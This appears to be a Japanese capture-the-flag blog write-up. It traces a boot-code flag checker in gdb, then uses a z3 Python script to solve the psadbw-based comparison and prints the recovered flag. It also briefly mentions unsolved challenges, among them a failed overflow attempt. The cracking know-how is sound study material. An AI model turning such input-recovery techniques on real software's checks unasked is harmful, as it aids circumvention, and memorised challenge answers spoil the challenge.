  v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x1fd, 0x0, 0x27c, 0x0}, 
  v2_int64 = {0x1fd, 0x27c}, 
  uint128 = 0x000000000000027c00000000000001fd
}

   0x7c9a:  movaps XMMWORD PTR ds:0x1268,xmm5
   0x7c9f:  mov    di,WORD PTR ds:0x1268

First: gdb-peda$ p $edi
$10 = 0x27a

Second: gdb-peda$ p $di
$9 = 0x1fd

   0x7ca3:  shl    edi,0x10

First: gdb-peda$ p $edi
$11 = 0x27a0000

Second: gdb-peda$ p $edi
$11 = 0x1fd0000

   0x7ca7:  mov    di,WORD PTR ds:0x1270

First: gdb-peda$ p $edi
$12 = 0x27a02fb

gdb-peda$ p $si
$13 = 0x8

Second: gdb-peda$ p $edi
$12 = 0x1fd027c

gdb-peda$ p $si
$13 = 0x7

   0x7cab:  mov    dx,si
   0x7cad:  dec    dx

gdb-peda$ p $dx
$14 = 0x7

------------------------------ # 単純にdxの値を4倍している
   0x7cae:  add    dx,dx

First: gdb-peda$ p $dx # 7 + 7
$15 = 0xe

Second: gdb-peda$ p $dx # 6 + 6
$15 = 0xc

   0x7cb0:  add    dx,dx

First: gdb-peda$ p $dx
$16 = 0x1c

Second: gdb-peda$ p $dx
$16 = 0x18
------------------------------

   0x7cb2:  cmp    edi,DWORD PTR [edx+0x7da8]

First: gdb-peda$ x/10 $edx+0x7da8
0x7dc4: 0x02df028f  0x00000014  0x00000000  0x00000000
0x7dd4: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de4: 0x00000000  0x00000000

Second: gdb-peda$ x/10 $edx+0x7da8
0x7dc0: 0x0290025d  0x02df028f  0x00000014  0x00000000
0x7dd0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7de0: 0x00000000  0x00000000

   0x7cba:  jne    0x7d4d # If input is not correct, return.

   0x7cbe:  dec    si

gdb-peda$ p $si
$2 = 0x7

   0x7cbf:  test   si,si # If si is 0, finish.
   0x7cc1:  jne    0x7c8e
=======================================================================================


This is the flag!!!!!!!!!!!!!!!!!!!!!
Just do it!!!!!!!!!!

0x02df028f
0x0290025d
0x02090221
0x027b0278
0x01f90233
0x025e0291
0x02290255
0x02110270

psadbwのところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.

z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.

(かなり汚いです)

#!/usr/bin/env python
from z3 import *

# 0x20 <= si <= 7e
#
# [flag]
# 0x02df028f
# 0x0290025d
# 0x02090221
# 0x027b0278
# 0x01f90233
# 0x025e0291
# 0x02290255
# 0x02110270
#
# {s0s1s2s3s4s5s6s7s8s9s10s11s12s13}
#
# s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2
#                  s15      s14
# 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian)

def get_abs(x):
    return If(x >= 0,x,-x)

def main():
    solver = Solver()

    s = [Int('s_%d' % i) for i in range(14)]

    for i in range(len(s)):
        solver.add(s[i] != 0)
        solver.add(0x20 <= s[i], s[i] <= 0x7e)

    s14 = 0x7b
    s15 = 0x7d

    t0  = 0x22
    t1  = 0x0f
    t2  = 0x02
    t3  = 0xc8
    t4  = 0x83
    t5  = 0xfb
    t6  = 0xe0
    t7  = 0x83
    t8  = 0xc0
    t9  = 0x20
    t10 = 0x0f
    t11 = 0x10
    t12 = 0xcd
    t13 = 0x00
    t14 = 0x13
    t15 = 0xb8

    psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00)
    psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00)

    solver.add(psadbw1 == 0x28f)
    solver.add(psadbw2 == 0x2df)

    t0  = 0x0
    t1  = 0x0
    t2  = 0x0
    t3  = 0x0
    t4  = 0x0
    t5  = 0x0

    t6  = 0x02
    t7  = 0x8f

    t8  = 0x0
    t9  = 0x0
    t10 = 0x0
    t11 = 0x0
    t12 = 0x0
    t13 = 0x0

    t14 = 0x02
    t15 = 0xdf

    psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3])
    psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7])

    solver.add(psadbw3 == 0x25d)
    solver.add(psadbw4 == 0x290)

    t7  = 0x5d
    t15 = 0x90

    psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw6 == 0x221)
    solver.add(psadbw7 == 0x209)

    t7  = 0x21
    t15 = 0x09

    psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw8 == 0x278)
    solver.add(psadbw9 == 0x27b)

    t7  = 0x78
    t15 = 0x7b

    psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw10 == 0x233)
    solver.add(psadbw11 == 0x1f9)

    t7  = 0x33
    t14 = 0x01
    t15 = 0xf9

    psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw12 == 0x291)
    solver.add(psadbw13 == 0x25e)

    t7  = 0x91
    t14 = 0x02
    t15 = 0x5e

    psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw14 == 0x255)
    solver.add(psadbw15 == 0x229)

    t7  = 0x55
    t15 = 0x29

    psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3])
    psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7])

    solver.add(psadbw16 == 0x270)
    solver.add(psadbw17 == 0x211)

    t7  = 0x70
    t15 = 0x11

    if solver.check() == sat:
        m = solver.model()
        print m

        flag = ''
        for i in s:
            flag += chr(m[i].as_long())

        print "\nflag: flag{%s}" % flag
    else:
        print "Not found."



if __name__ == '__main__':
    main()
$ python solve.py
[s_0 = 52,
 s_6 = 95,
 s_2 = 51,
 s_3 = 97,
 s_4 = 108,
 s_10 = 51,
 s_11 = 95,
 s_8 = 48,
 s_7 = 109,
 s_9 = 100,
 s_5 = 122,
 s_12 = 121,
 s_13 = 48,
 s_1 = 114]

flag: flag{4r3alz_m0d3_y0}

まとめ

z3の書き方,よくわからない部分が多い.

解けなかった問題に関しては,

pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.

Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.

Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.